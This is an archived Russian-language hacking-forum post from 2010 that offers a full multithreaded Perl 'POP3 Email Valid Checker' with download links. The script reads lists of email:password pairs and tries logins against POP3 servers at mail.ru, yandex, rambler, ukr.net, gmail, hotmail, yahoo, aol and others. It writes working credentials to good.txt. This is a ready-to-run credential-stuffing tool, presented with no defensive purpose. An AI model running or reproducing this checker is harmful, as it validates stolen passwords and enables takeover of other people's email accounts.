POP3 Email Valid Cheсker

2010-12-05T00:00:00
ID RDOT:958
Type rdot
Reporter FIXER
Modified 2010-12-05T00:00:00

Description

Посмотрев этот пост с другом (Dr.Tro) хотели развивать тему и доработать, но получился почти с нуля (спасибо за идею daniel_1024 )

Поддерживаемые домены:
▌mail.ru
▌bk.ru
▌inbox.ru
▌list.ru
▌ya.ru
▌yandex.ru
▌narod.ru
▌rambler.ru
▌ukr.net
▌freemail.ru
▌meta.ua
▌i.ua
▌pochta.ru

<http://fixer.whitehat.ru/Email Valid Checker.pl> юзайте
или <http://www.multiupload.com/BQVAI8HCT0>
Чекает все перечисленные почтавики + gmail.com, yahoo.com, hotmail.com, aol.com.

Код:

#!/usr/bin/perl

###############################################################
#                                                             #
#  Dr.Tro and shell_c0de for antichat.ru,inattack.ru.rdot.org #
#                                                             #
###############################################################

use warnings;
use strict;

use threads;
use threads::shared;

use IO::Socket;
use IO::Socket::SSL;

use Fcntl ':flock';

### Настройки

my $accounts_file = 'ac.txt'; # Файл с аккаунтами
my $accounts_delimiter = ':'; # Разделитель логина и пароля
my $good_file = 'good.txt';
my $bad_file = 'bad.txt';
my $log_bad = 1;
my $timeout = 10;
my $threads_count = 10; # Количество потоков

### ---------

my %servers = (
    'gmail.com' =&gt; {
        'port' =&gt; 995, 
        'ssl' =&gt; 1,
        'login_email' =&gt; 1
    },
    'hotmail.com' =&gt; {
        'host' =&gt; 'pop3.live.com', 
        'port' =&gt; 995, 
        'ssl' =&gt; 1,
        'login_email' =&gt; 1
    },
    'yahoo.com' =&gt; {
        'host' =&gt; 'plus.pop.mail.yahoo.com',
        'port' =&gt; 995, 
        'ssl' =&gt; 1
    },
    'aol.com' =&gt; {
        'port' =&gt; 995, 
        'ssl' =&gt; 1,
        'login_email' =&gt; 1
    }
);

my %statictis : shared = ('good' =&gt; 0, 'bad' =&gt; 0, 'error' =&gt; 0);
my @threads = ();

$| = 1;

my @accounts : shared;
(open FH, '&lt;', $accounts_file) || die "[Error] Can't open $accounts_file: $!";
push @accounts, $_ while &lt;FH&gt;;
close FH;

open FH, '&gt;', $good_file;
close FH;

if ($log_bad) {
    open FH, '&gt;', $bad_file;
    close FH;
}

sub thread_print {
    my ($str) = "@_ [thread ".threads-&gt;tid()."]";
    $str .= " " x (78 - length $str) if length $str &lt; 79;
    print $str."\n";
    $str = '';
    $str .= "[ $_ - $statictis{$_} ]" for keys %statictis;
    print $str.'[threads: '.(scalar threads-&gt;list() + 1)."]\r";
}

sub check_account {
    while (1) {
        last if !@accounts;
        my $account = lc shift @accounts;
        chomp $account;
        if ($account =~ /([^@]+)@([^$accounts_delimiter]+)$accounts_delimiter(.+)/) {
            my ($login, $host, $password) = ($1, $2, $3);
            my $r_login = $login;
            my $sock;           
            if ($servers{$host}) {
                $r_login = "$login\@$host" if ${$servers{$host}}{'login_email'};
                if (${$servers{$host}}{'ssl'}) {
                    eval { $sock = IO::Socket::SSL-&gt;new(PeerAddr =&gt; ((${$servers{$host}}{'host'}) ? ${$servers{$host}}{'host'} : "pop.$host"), Proto =&gt; 'tcp', PeerPort =&gt; ((${$servers{$host}}{'port'}) ? ${$servers{$host}}{'port'} : 110), Timeout =&gt; $timeout); };
                } else {
                    eval { $sock = IO::Socket::INET-&gt;new(PeerAddr =&gt; ((${$servers{$host}}{'host'}) ? ${$servers{$host}}{'host'} : "pop.$host"), Proto =&gt; 'tcp', PeerPort =&gt; ((${$servers{$host}}{'port'}) ? ${$servers{$host}}{'port'} : 110), Timeout =&gt; $timeout); };
                }
            } else {
                eval{ $sock = IO::Socket::INET-&gt;new(PeerAddr =&gt; "pop.$host", Proto =&gt; 'tcp', PeerPort =&gt; 110, Timeout =&gt; $timeout);  };
            }
            if ($sock) {
                $sock-&gt;autoflush(1);
                my $answ;
                $answ = &lt;$sock&gt;;
                my $bad = 1;  
                if ($answ && substr($answ, 0, 1) eq '+') { 
                    print $sock "USER $r_login\n"; 
                    $answ = &lt;$sock&gt;;
                    if ($answ && substr($answ, 0, 1) eq '+') { 
                        print $sock "PASS $password\n";
                        $answ = &lt;$sock&gt;;
                        if ($answ && substr($answ, 0, 1) eq '+') {
                            print $sock "QUIT\n"; 
                            close $sock;
                            $bad = 0;
                            thread_print "[+] $login\@$host$accounts_delimiter$password"; 
                            { lock %statictis; $statictis{'good'}++; } 
                            open FH, '&gt;&gt;', $good_file;
                            flock FH, LOCK_EX;
                            print FH "$login\@$host$accounts_delimiter$password\n";
                            flock FH, LOCK_UN;
                            close FH;
                        } elsif ($answ && $answ =~ /SYS\/PERM/) {
                            $bad = 0;
                            { lock %statictis; $statictis{'error'}++; } 
                            thread_print "[~] $login\@$host$accounts_delimiter$password"; 
                        }
                    }
                }
                if ($bad) {
                    thread_print "[-] $login\@$host$accounts_delimiter$password"; 
                    { lock %statictis; $statictis{'bad'}++; } 
                    if ($log_bad) {
                        open FH, '&gt;&gt;', $bad_file;
                        flock FH, LOCK_EX;
                        print FH "$login\@$host$accounts_delimiter$password\n";
                        flock FH, LOCK_UN;
                        close FH;
                    }
                }
            } else {
                { lock %statictis; $statictis{'error'}++; } 
                thread_print "[E] $login\@$host$accounts_delimiter$password #$?: $!";
            }
        }
    }
    threads-&gt;exit-&gt;detach;
}

$threads_count = $#accounts if $#accounts &lt; $threads_count;
$threads[$_] = threads-&gt;create(\&check_account) for 0..$threads_count - 1;
$_-&gt;join for @threads;
my $str;
$str .= "[ $_ - $statictis{$_} ]" for keys %statictis;
print "$str\n";